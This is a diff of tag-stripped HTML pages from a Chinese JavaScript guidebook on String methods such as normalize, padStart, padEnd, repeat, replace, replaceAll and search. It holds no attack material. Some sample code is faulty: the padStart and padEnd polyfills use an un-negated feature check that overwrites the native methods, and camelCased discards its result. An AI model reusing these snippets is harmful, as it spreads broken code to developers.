                                                                                                                              var str = '\u1E9B\u0323';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.normalize()

                                                                                                                              normalize() 方法会按照指定的一种 Unicode 正规形式将当前字符串正规化。(如果该值不是字符串,则首先将其转换为一个字符串)。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.normalize([form]);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              normalize(form: 'NFC' | 'NFD' | 'NFKC' | 'NFKD'): string;
                                                                                                                              +
                                                                                                                              normalize(form?: string): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              form可选,四种 Unicode 正规形式(Unicode Normalization Form),默认值为 NFCstring

                                                                                                                              可选值:

                                                                                                                              • NFC:Canonical Decomposition, followed by Canonical Composition
                                                                                                                              • NFD:Canonical Decomposition
                                                                                                                              • NFKC:Compatibility Decomposition, followed by Canonical Composition
                                                                                                                              • NFKD:Compatibility Decomposition

                                                                                                                              返回给定字符串的 Unicode 规范化形式的字符串。

                                                                                                                              如果给 form 参数传入了上述四个字符串意外以外的参数,则会抛出 RangeError 异常。

                                                                                                                              代码示例

                                                                                                                              // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
                                                                                                                              // U+0323: COMBINING DOT BELOW
                                                                                                                              var str = '\u1E9B\u0323';
                                                                                                                              // Canonically-composed form (NFC)
                                                                                                                              // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
                                                                                                                              // U+0323: COMBINING DOT BELOW
                                                                                                                              str.normalize('NFC'); // "\u1E9B\u0323"
                                                                                                                              str.normalize(); // same as above
                                                                                                                              // Canonically-decomposed form (NFD)
                                                                                                                              @@ -36,12 +40,12 @@
                                                                                                                              // Compatibly-composed (NFKC)
                                                                                                                              // U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
                                                                                                                              str.normalize('NFKC'); // "\u1E69"
                                                                                                                              // Compatibly-decomposed (NFKD)
                                                                                                                              -
                                                                                                                              // U+0073: LATIN SMALL LETTER S
                                                                                                                              // U+0323: COMBINING DOT BELOW
                                                                                                                              // U+0307: COMBINING DOT ABOVE
                                                                                                                              str.normalize('NFKD'); // "\u0073\u0323\u0307"
                                                                                                                              +
                                                                                                                              // U+0073: LATIN SMALL LETTER S
                                                                                                                              // U+0323: COMBINING DOT BELOW
                                                                                                                              // U+0307: COMBINING DOT ABOVE
                                                                                                                              str.normalize('NFKD'); // "\u0073\u0323\u0307"

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/pad-end/index.html b/standard-built-in-objects/text-processing/string/pad-end/index.html index 3ac836e15..2eaf2ac8f 100644 --- a/standard-built-in-objects/text-processing/string/pad-end/index.html +++ b/standard-built-in-objects/text-processing/string/pad-end/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.padEnd - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.padEnd()

                                                                                                                              ⭐️ ES2017(ES8)新特性

                                                                                                                              String.prototype.padEnd() 方法会用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的末尾(右侧)开始填充。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.padEnd(maxLength [, fillString]);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              padEnd(maxLength: number, fillString?: string): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              maxLength当前字符串需要填充到的目标长度。如果这个数值小于当前字符串的长度,则返回当前字符串本身。number
                                                                                                                              fillString(可选)填充字符串。如果字符串太长,使填充后的字符串长度超过了目标长度,则只保留最左侧的部分,其他部分会被截断。string

                                                                                                                              代码示例

                                                                                                                              const str = 'abc';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.padEnd()

                                                                                                                              ⭐️ ES2017(ES8)新特性

                                                                                                                              String.prototype.padEnd() 方法会用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的末尾(右侧)开始填充。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.padEnd(maxLength [, fillString]);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              padEnd(maxLength: number, fillString?: string): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              maxLength当前字符串需要填充到的目标长度。如果这个数值小于当前字符串的长度,则返回当前字符串本身。number
                                                                                                                              fillString(可选)填充字符串。如果字符串太长,使填充后的字符串长度超过了目标长度,则只保留最左侧的部分,其他部分会被截断。string

                                                                                                                              代码示例

                                                                                                                              const str = 'abc';
                                                                                                                              str.padEnd('1');
                                                                                                                              // 'abc'
                                                                                                                              str.padEnd('10');
                                                                                                                              // 'abc '
                                                                                                                              str.padEnd('6', '123456');
                                                                                                                              // 'abc123'
                                                                                                                              -
                                                                                                                              str.padEnd('10', 'foo');
                                                                                                                              // 'abcfoofoof'

                                                                                                                              兼容性代码

                                                                                                                              if (String.prototype.padEnd) {
                                                                                                                              String.prototype.padEnd = function padEnd(maxLength, fillString) {
                                                                                                                              maxLength = maxLength >> 0;
                                                                                                                              fillString = String(typeof fillString !== 'undefined' ? fillString : '');
                                                                                                                              if (this.length > maxLength) {
                                                                                                                              return String(this);
                                                                                                                              } else {
                                                                                                                              maxLength = maxLength - this.length;
                                                                                                                              if (maxLength > fillString.length) {
                                                                                                                              fillString += fillString.repeat(maxLength / fillString.length);
                                                                                                                              }
                                                                                                                              return String(this) + fillString.slice(0, maxLength);
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              +
                                                                                                                              str.padEnd('10', 'foo');
                                                                                                                              // 'abcfoofoof'

                                                                                                                              兼容性代码

                                                                                                                              if (String.prototype.padEnd) {
                                                                                                                              String.prototype.padEnd = function padEnd(maxLength, fillString) {
                                                                                                                              maxLength = maxLength >> 0;
                                                                                                                              fillString = String(typeof fillString !== 'undefined' ? fillString : '');
                                                                                                                              if (this.length > maxLength) {
                                                                                                                              return String(this);
                                                                                                                              } else {
                                                                                                                              maxLength = maxLength - this.length;
                                                                                                                              if (maxLength > fillString.length) {
                                                                                                                              fillString += fillString.repeat(maxLength / fillString.length);
                                                                                                                              }
                                                                                                                              return String(this) + fillString.slice(0, maxLength);
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/pad-start/index.html b/standard-built-in-objects/text-processing/string/pad-start/index.html index 7d97f9eff..c93026888 100644 --- a/standard-built-in-objects/text-processing/string/pad-start/index.html +++ b/standard-built-in-objects/text-processing/string/pad-start/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.padStart - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.padStart()

                                                                                                                              ⭐️ ES2017(ES8)新特性

                                                                                                                              String.prototype.padStart() 方法用另一个字符串填充当前字符串(重复,如果需要的话),以便产生的字符串达到给定的长度。填充从当前字符串的开始(左侧)应用的。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.padStart(maxLength [, fillString]);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              padStart(maxLength: number, fillString?: string): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              maxLength当前字符串需要填充到的目标长度。如果这个数值小于当前字符串的长度,则返回当前字符串本身。number
                                                                                                                              fillString(可选)填充字符串。如果字符串太长,使填充后的字符串长度超过了目标长度,则只保留最左侧的部分,其他部分会被截断。string

                                                                                                                              代码示例

                                                                                                                              const str = 'abc';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.padStart()

                                                                                                                              ⭐️ ES2017(ES8)新特性

                                                                                                                              String.prototype.padStart() 方法用另一个字符串填充当前字符串(重复,如果需要的话),以便产生的字符串达到给定的长度。填充从当前字符串的开始(左侧)应用的。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.padStart(maxLength [, fillString]);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              padStart(maxLength: number, fillString?: string): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              maxLength当前字符串需要填充到的目标长度。如果这个数值小于当前字符串的长度,则返回当前字符串本身。number
                                                                                                                              fillString(可选)填充字符串。如果字符串太长,使填充后的字符串长度超过了目标长度,则只保留最左侧的部分,其他部分会被截断。string

                                                                                                                              代码示例

                                                                                                                              const str = 'abc';
                                                                                                                              str.padStart('1');
                                                                                                                              // 'abc'
                                                                                                                              str.padStart('10');
                                                                                                                              // ' abc'
                                                                                                                              str.padStart('6', '123456');
                                                                                                                              // '123abc'
                                                                                                                              -
                                                                                                                              str.padStart('10', 'foo');
                                                                                                                              // 'foofoofabc'

                                                                                                                              兼容性代码

                                                                                                                              if (String.prototype.padStart) {
                                                                                                                              String.prototype.padStart = function padStart(maxLength, fillString) {
                                                                                                                              maxLength = maxLength >> 0;
                                                                                                                              fillString = String(typeof fillString !== 'undefined' ? fillString : '');
                                                                                                                              if (this.length > maxLength) {
                                                                                                                              return String(this);
                                                                                                                              } else {
                                                                                                                              maxLength = maxLength - this.length;
                                                                                                                              if (maxLength > fillString.length) {
                                                                                                                              fillString += fillString.repeat(maxLength / fillString.length);
                                                                                                                              }
                                                                                                                              return fillString.slice(0, maxLength) + String(this);
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              +
                                                                                                                              str.padStart('10', 'foo');
                                                                                                                              // 'foofoofabc'

                                                                                                                              兼容性代码

                                                                                                                              if (String.prototype.padStart) {
                                                                                                                              String.prototype.padStart = function padStart(maxLength, fillString) {
                                                                                                                              maxLength = maxLength >> 0;
                                                                                                                              fillString = String(typeof fillString !== 'undefined' ? fillString : '');
                                                                                                                              if (this.length > maxLength) {
                                                                                                                              return String(this);
                                                                                                                              } else {
                                                                                                                              maxLength = maxLength - this.length;
                                                                                                                              if (maxLength > fillString.length) {
                                                                                                                              fillString += fillString.repeat(maxLength / fillString.length);
                                                                                                                              }
                                                                                                                              return fillString.slice(0, maxLength) + String(this);
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/raw/index.html b/standard-built-in-objects/text-processing/string/raw/index.html index f4e73648c..3301df02a 100644 --- a/standard-built-in-objects/text-processing/string/raw/index.html +++ b/standard-built-in-objects/text-processing/string/raw/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.raw - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                                String.raw

                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.raw

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                String.raw(callSite, ...substitutions);

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                raw(template: { raw: readonly string[] | ArrayLike<string> }, ...substitutions: any[]): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                callSite一个模板字符串的调用点对象
                                                                                                                                substitutions任意个可选的参数,表示任意个内插表达式对应的值

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/repeat/index.html b/standard-built-in-objects/text-processing/string/repeat/index.html index dc5a6541b..771a72c6a 100644 --- a/standard-built-in-objects/text-processing/string/repeat/index.html +++ b/standard-built-in-objects/text-processing/string/repeat/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.repeat - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.repeat()

                                                                                                                                repeat() 构造并返回一个新字符串,该字符串包含被连接在一起的指定数量的字符串的副本。

                                                                                                                                语法

                                                                                                                                str.repeat(count);
                                                                                                                                参数说明类型
                                                                                                                                count介于 0 与正无穷大之间的整数。表示在新构造的字符串中重复了多少遍原字符串。number

                                                                                                                                示例

                                                                                                                                const str = 'abc';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.repeat()

                                                                                                                                repeat() 构造并返回一个新字符串,该字符串包含被连接在一起的指定数量的字符串的副本。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.repeat(count);

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                repeat(count: number): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                count介于 0 与正无穷大之间的整数。表示在新构造的字符串中重复了多少遍原字符串number

                                                                                                                                代码示例

                                                                                                                                const str = 'abc';
                                                                                                                                str.repeat(0);
                                                                                                                                // ''
                                                                                                                                str.repeat(1);
                                                                                                                                // 'abc'
                                                                                                                                str.repeat(2);
                                                                                                                                // 'abcabc'
                                                                                                                                str.repeat(3.5);
                                                                                                                                // 'abcabcabc'
                                                                                                                                str.repeat(1 / 0);
                                                                                                                                // RangeError: repeat count must be positive and less than infinity
                                                                                                                                -
                                                                                                                                str.repeat(-1);
                                                                                                                                // RangeError: repeat count mutst be positive and less than infinity

                                                                                                                                Polyfill

                                                                                                                                if (!String.prototype.repeat) {
                                                                                                                                String.prototype.repeat = function(count) {
                                                                                                                                'use strict';
                                                                                                                                +
                                                                                                                                str.repeat(-1);
                                                                                                                                // RangeError: repeat count mutst be positive and less than infinity

                                                                                                                                兼容性代码

                                                                                                                                if (!String.prototype.repeat) {
                                                                                                                                String.prototype.repeat = function (count) {
                                                                                                                                'use strict';
                                                                                                                                if (this === null) {
                                                                                                                                throw new TypeError("Can't convert " + this + ' to object');
                                                                                                                                }
                                                                                                                                var str = '' + this;
                                                                                                                                count = +count;
                                                                                                                                if (count !== count) {
                                                                                                                                count = 0;
                                                                                                                                }
                                                                                                                                if (count < 0) {
                                                                                                                                throw new RangeError('repeat count must be non-negative');
                                                                                                                                }
                                                                                                                                if (count === Infinity) {
                                                                                                                                throw new RangeError('repeat count must be less than Infinity');
                                                                                                                                }
                                                                                                                                count = Math.floor(count);
                                                                                                                                @@ -43,12 +46,12 @@
                                                                                                                                var repeat = '';
                                                                                                                                for (;;) {
                                                                                                                                if ((count & 1) === 1) {
                                                                                                                                repeat += str;
                                                                                                                                }
                                                                                                                                count >>>= 1;
                                                                                                                                -
                                                                                                                                if (count === 0) {
                                                                                                                                break;
                                                                                                                                }
                                                                                                                                str += str;
                                                                                                                                }
                                                                                                                                return repeat;
                                                                                                                                };
                                                                                                                                }
                                                                                                                                +
                                                                                                                                if (count === 0) {
                                                                                                                                break;
                                                                                                                                }
                                                                                                                                str += str;
                                                                                                                                }
                                                                                                                                return repeat;
                                                                                                                                };
                                                                                                                                }

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/replace-all/index.html b/standard-built-in-objects/text-processing/string/replace-all/index.html new file mode 100644 index 000000000..e4cc6e5c1 --- /dev/null +++ b/standard-built-in-objects/text-processing/string/replace-all/index.html @@ -0,0 +1,44 @@ + + + + + + + + + + + String.prototype.replaceAll - JavaScript Guidebook + + +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.replaceAll()

                                                                                                                                ⭐️ ES2021(ES12)新特性

                                                                                                                                String.prototype.replaceAll() 方法返回一个新字符串,新字符串所有满足 pattern 的部分都已被 replacement 替换。pattern 可以是一个字符串或一个 RegExp,replacement 可以是一个字符串或一个在每次匹配被调用的函数。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.replaceAll(regexp|substr, newSubstr|function);

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                replaceAll(searchValue: string | RegExp, replaceValue: string): string;
                                                                                                                                +
                                                                                                                                replaceAll(
                                                                                                                                searchValue: string | RegExp,
                                                                                                                                replacer: (substring: string, ...args: any[]) => string
                                                                                                                                ): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                regexp指定的正则表达式模式的 RegExp 对象的实例RegExp
                                                                                                                                substr指定被替换的字符串string
                                                                                                                                newSubstr用于替换的字符串string
                                                                                                                                function替换字符串的函数function

                                                                                                                                一个部分或全部匹配由替代模式所取代的新的字符串。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                const result = 'aabbcc'.replaceAll('b', '.');
                                                                                                                                +
                                                                                                                                console.log(result);
                                                                                                                                // Output: 'aa..cc'

                                                                                                                                参考资料

                                                                                                                                + + + + + diff --git a/standard-built-in-objects/text-processing/string/replace/index.html b/standard-built-in-objects/text-processing/string/replace/index.html index 22d53dab8..02ad95c37 100644 --- a/standard-built-in-objects/text-processing/string/replace/index.html +++ b/standard-built-in-objects/text-processing/string/replace/index.html @@ -7,28 +7,32 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.replace - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.replace()

                                                                                                                                replace() 函数用于使用指定字符串替换当前字符串中匹配指定正则表达式模式的子字符串,并返回完成替换后的字符串。

                                                                                                                                语法

                                                                                                                                str.replace(pattern, replacement);
                                                                                                                                参数说明类型
                                                                                                                                pattern指定的正则表达式模式的 RegExp 对象的实例。也可以是字符串。string / RegExp
                                                                                                                                replacement用于替换的字符串,或返回替换字符串的函数。string / function

                                                                                                                                一个部分或全部匹配由替代模式所取代的新的字符串。

                                                                                                                                描述

                                                                                                                                • 如果参数 pattern 是字符串,则 replace() 函数将直接根据该字符串进行精确匹配,而不会试图转换为正则表达式,并且 只替换第一个匹配到 的子字符串
                                                                                                                                • 参数 replacement 可以使用以下以 $ 开头的 匹配变量 来动态确定用于替换的字符串内容(参数 pattern 为正则表达式时才生效)
                                                                                                                                字符描述
                                                                                                                                $n假如第一个参数是 RegExp 对象,并且 n 是个小于 100 的非负整数,那么插入第 n 个括号匹配的字符串。
                                                                                                                                $&插入匹配的子串。
                                                                                                                                $`插入当前匹配的子串左边的内容。
                                                                                                                                $'插入当前匹配的子串右边的内容。
                                                                                                                                $$插入一个 $

                                                                                                                                在进行全局的搜索替换时,正则表达式需包含 g 标志。

                                                                                                                                • 指定一个函数作为参数

                                                                                                                                你可以指定一个函数作为第二个参数。在这种情况下,当匹配执行后, 该函数就会执行。 函数的返回值作为替换字符串。(注意: 上面提到的特殊替换参数在这里不能被使用。) 另外要注意的是, 如果第一个参数是正则表达式, 并且其为全局匹配模式, 那么这个方法将被多次调用, 每次匹配都会被调用。

                                                                                                                                下面是该函数的参数:

                                                                                                                                变量名代表的值
                                                                                                                                match匹配的子串。(对应于上述的 \$&。)
                                                                                                                                p1,p2, ...假如 replace() 方法的第一个参数是一个 RegExp 对象,则代表第 n 个括号匹配的字符串。(对应于上述的 $1$2等。)
                                                                                                                                offset匹配到的子字符串在原字符串中的偏移量。(比如,如果原字符串是 'abcd',匹配到的子字符串是 'bc',那么这个参数将是 1)
                                                                                                                                string被匹配的原字符串。

                                                                                                                                精确的参数个数依赖于 replace()的第一个参数是否是一个正则表达式对象, 以及这个正则表达式中指定了多少个括号子串。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                在下面的例子中,replace() 中使用了正则表达式及忽略大小写标示。

                                                                                                                                var str = 'Twas the night before Xmas...';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.replace()

                                                                                                                                replace() 函数用于使用指定字符串替换当前字符串中匹配指定正则表达式模式的子字符串,并返回完成替换后的字符串。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.replace(pattern, replacement);

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                replace(searchValue: string | RegExp, replaceValue: string): string;
                                                                                                                                +
                                                                                                                                replace(
                                                                                                                                searchValue: string | RegExp,
                                                                                                                                replacer: (substring: string, ...args: any[]) => string
                                                                                                                                ): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                pattern指定的正则表达式模式的 RegExp 对象的实例。也可以是字符串string / RegExp
                                                                                                                                replacement用于替换的字符串,或返回替换字符串的函数string / function

                                                                                                                                一个部分或全部匹配由替代模式所取代的新的字符串。

                                                                                                                                方法说明

                                                                                                                                • 如果参数 pattern 是字符串,则 replace() 函数将直接根据该字符串进行精确匹配,而不会试图转换为正则表达式,并且 只替换第一个匹配到 的子字符串
                                                                                                                                • 参数 replacement 可以使用以下以 $ 开头的 匹配变量 来动态确定用于替换的字符串内容(参数 pattern 为正则表达式时才生效)
                                                                                                                                字符描述
                                                                                                                                $n假如第一个参数是 RegExp 对象,并且 n 是个小于 100 的非负整数,那么插入第 n 个括号匹配的字符串。
                                                                                                                                $&插入匹配的子串。
                                                                                                                                $`插入当前匹配的子串左边的内容。
                                                                                                                                $'插入当前匹配的子串右边的内容。
                                                                                                                                $$插入一个 $

                                                                                                                                在进行全局的搜索替换时,正则表达式需包含 g 标志。

                                                                                                                                • 指定一个函数作为参数

                                                                                                                                你可以指定一个函数作为第二个参数。在这种情况下,当匹配执行后, 该函数就会执行。 函数的返回值作为替换字符串。(注意: 上面提到的特殊替换参数在这里不能被使用。) 另外要注意的是, 如果第一个参数是正则表达式, 并且其为全局匹配模式, 那么这个方法将被多次调用, 每次匹配都会被调用。

                                                                                                                                下面是该函数的参数:

                                                                                                                                变量名代表的值
                                                                                                                                match匹配的子串。(对应于上述的 \$&。)
                                                                                                                                p1,p2, ...假如 replace() 方法的第一个参数是一个 RegExp 对象,则代表第 n 个括号匹配的字符串。(对应于上述的 $1$2等。)
                                                                                                                                offset匹配到的子字符串在原字符串中的偏移量。(比如,如果原字符串是 'abcd',匹配到的子字符串是 'bc',那么这个参数将是 1)
                                                                                                                                string被匹配的原字符串。

                                                                                                                                精确的参数个数依赖于 replace()的第一个参数是否是一个正则表达式对象, 以及这个正则表达式中指定了多少个括号子串。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                在下面的例子中,replace() 中使用了正则表达式及忽略大小写标示。

                                                                                                                                var str = 'Twas the night before Xmas...';
                                                                                                                                var newstr = str.replace(/xmas/i, 'Christmas');
                                                                                                                                console.log(newstr);
                                                                                                                                // Twas the night before Christmas...
                                                                                                                                var str = 'Hello world!';
                                                                                                                                @@ -40,12 +44,12 @@
                                                                                                                                // oranges are round, and oranges are juicy.
                                                                                                                                console.log(newstr);

                                                                                                                                单词互换

                                                                                                                                下面的例子演示了如何交换一个字符串中两个单词的位置,这个脚本使用 $1$2 代替替换文本。

                                                                                                                                var re = /(\w+)\s(\w+)/;
                                                                                                                                var str = 'John Smith';
                                                                                                                                var newstr = str.replace(re, '$2, $1');
                                                                                                                                console.log(newstr); // Smith, John

                                                                                                                                使用行内函数来修改匹配到的字符

                                                                                                                                在这个例子中,所有出现的大写字母转换为小写,并且在匹配位置前加一个连字符。重要的是,在返回一个替换了的字符串前需要在匹配元素前需要进行添加操作。

                                                                                                                                在返回前,替换函数允许匹配片段作为参数,并且将它和连字符进行连接作为新的片段。

                                                                                                                                function styleHyphenFormat(propertyName) {
                                                                                                                                function upperToHyphenLower(match) {
                                                                                                                                return '-' + match.toLowerCase();
                                                                                                                                }
                                                                                                                                return propertyName.replace(/[A-Z]/g, upperToHyphenLower);
                                                                                                                                }

                                                                                                                                此代码 styleHyphenFormat('borderTop') 将返回 'border-top'。

                                                                                                                                因为我们想在最终的替换中进一步转变匹配结果,所以我们必须使用一个函数。这迫使我们在使用 toLowerCase() 方法前进行评估。如果我们尝试不用一个函数进行匹配,那么使用 toLowerCase() 方法将不会有效。

                                                                                                                                var newString = propertyName.replace(/[A-Z]/g, '-' + '$&'.toLowerCase()); // won't work

                                                                                                                                这是因为 '$&'.toLowerCase() 会先被解析成字符串字面量(这会导致相同的'$&')而不是当作一个模式。

                                                                                                                                将华氏温度转换为对等的摄氏温度

                                                                                                                                下面的例子演示如何将华氏温度转换为对等的摄氏温度。华氏温度用一个数字加一个"F"来表示,这个函数将返回一个数字加"C"来表示的摄氏温度。例如,如果输入是 212F,这个函数将返回 100C。如果输入数字时 0F,这个方法将返回 "-17.77777777777778C"

                                                                                                                                正则表达式 test 检查任何数字是否以 F 结尾。华氏温度通过第二个参数 p1 进入函数。这个函数基于华氏温度作为字符串传递给 f2c 函数设置成摄氏温度。然后 f2c() 返回摄氏温度。这个函数与 Perl 的 s///e 标志相似。

                                                                                                                                function f2c(x) {
                                                                                                                                function convert(str, p1, offset, s) {
                                                                                                                                return ((p1 - 32) * 5) / 9 + 'C';
                                                                                                                                }
                                                                                                                                var s = String(x);
                                                                                                                                var test = /(\d+(?:\.\d*)?)F\b/g;
                                                                                                                                return s.replace(test, convert);
                                                                                                                                }

                                                                                                                                转义用户输入特殊字符

                                                                                                                                把用户输入的特殊字符进行转义,避免 XSS 攻击。

                                                                                                                                function htmlEscape(text) {
                                                                                                                                return text.replace(/[<>"&]/g, function (match, pos, originalText) {
                                                                                                                                switch (match) {
                                                                                                                                case '<':
                                                                                                                                return '&lt;';
                                                                                                                                case '>':
                                                                                                                                return '&gt;';
                                                                                                                                case '"':
                                                                                                                                return '&quot;';
                                                                                                                                case '&':
                                                                                                                                return '&amp;';
                                                                                                                                }
                                                                                                                                });
                                                                                                                                }

                                                                                                                                转换驼峰命名

                                                                                                                                function camelCased(str) {
                                                                                                                                const regexp = /-(\w)/g;
                                                                                                                                str.replace(regexp, function (match, pos) {
                                                                                                                                return pos.toUpperCase();
                                                                                                                                });
                                                                                                                                }

                                                                                                                                数值千位隔断

                                                                                                                                const str = '123456789';
                                                                                                                                const res = str.replace(/\B(?=(\d{3})+(?!\d))/g, ',');
                                                                                                                                -
                                                                                                                                console.log(res);
                                                                                                                                // 123,456,789
                                                                                                                                +
                                                                                                                                console.log(res);
                                                                                                                                // 123,456,789

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/search/index.html b/standard-built-in-objects/text-processing/string/search/index.html index 74bb84548..3bc3d2687 100644 --- a/standard-built-in-objects/text-processing/string/search/index.html +++ b/standard-built-in-objects/text-processing/string/search/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.search - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.search()

                                                                                                                                search() 函数用于使用指定的正则表达式查找指定子字符串在当前字符串中第一次出现的位置。

                                                                                                                                语法

                                                                                                                                str.search(regexp);
                                                                                                                                参数说明类型
                                                                                                                                regexp包含正则表达式模式的 RegExp 对象的实例。也可以是包含正则表达式模式的变量名或字符串。RegExp

                                                                                                                                如果参数 regexp 不是正则表达式对象(RegExp),而是字符串类型,则 search() 先将该字符串传递给 RegExp 的构造函数,将其转换为一个 RegExp 对象。

                                                                                                                                • 如果匹配成功,则 search() 返回正则表达式在字符串中首次匹配项的索引
                                                                                                                                • 如果没有查找到任何匹配,则返回 -1。

                                                                                                                                描述

                                                                                                                                当你想要知道字符串中是否存在某个模式(pattern)时可使用 search,类似于正则表达式的 test 方法。当要了解更多匹配信息时,可使用 match(会更慢),该方法类似于正则表达式的 exec 方法。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                var str = 'Code123Player34Code456';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.search()

                                                                                                                                search() 函数用于使用指定的正则表达式查找指定子字符串在当前字符串中第一次出现的位置。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.search(regexp);

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                search(regexp: string | RegExp): number;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                regexp包含正则表达式模式的 RegExp 对象的实例。也可以是包含正则表达式模式的变量名或字符串。RegExp

                                                                                                                                如果参数 regexp 不是正则表达式对象(RegExp),而是字符串类型,则 search() 先将该字符串传递给 RegExp 的构造函数,将其转换为一个 RegExp 对象。

                                                                                                                                • 如果匹配成功,则 search() 返回正则表达式在字符串中首次匹配项的索引
                                                                                                                                • 如果没有查找到任何匹配,则返回 -1。

                                                                                                                                方法说明

                                                                                                                                当你想要知道字符串中是否存在某个模式(pattern)时可使用 search,类似于正则表达式的 test 方法。当要了解更多匹配信息时,可使用 match(会更慢),该方法类似于正则表达式的 exec 方法。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                var str = 'Code123Player34Code456';
                                                                                                                                // 查找2个连续数字的第一次出现
                                                                                                                                str.search(/\d{2}/);
                                                                                                                                // 4
                                                                                                                                // 该字符串等同于上一个正则表达式
                                                                                                                                str.search('\\d{2}');
                                                                                                                                // 4
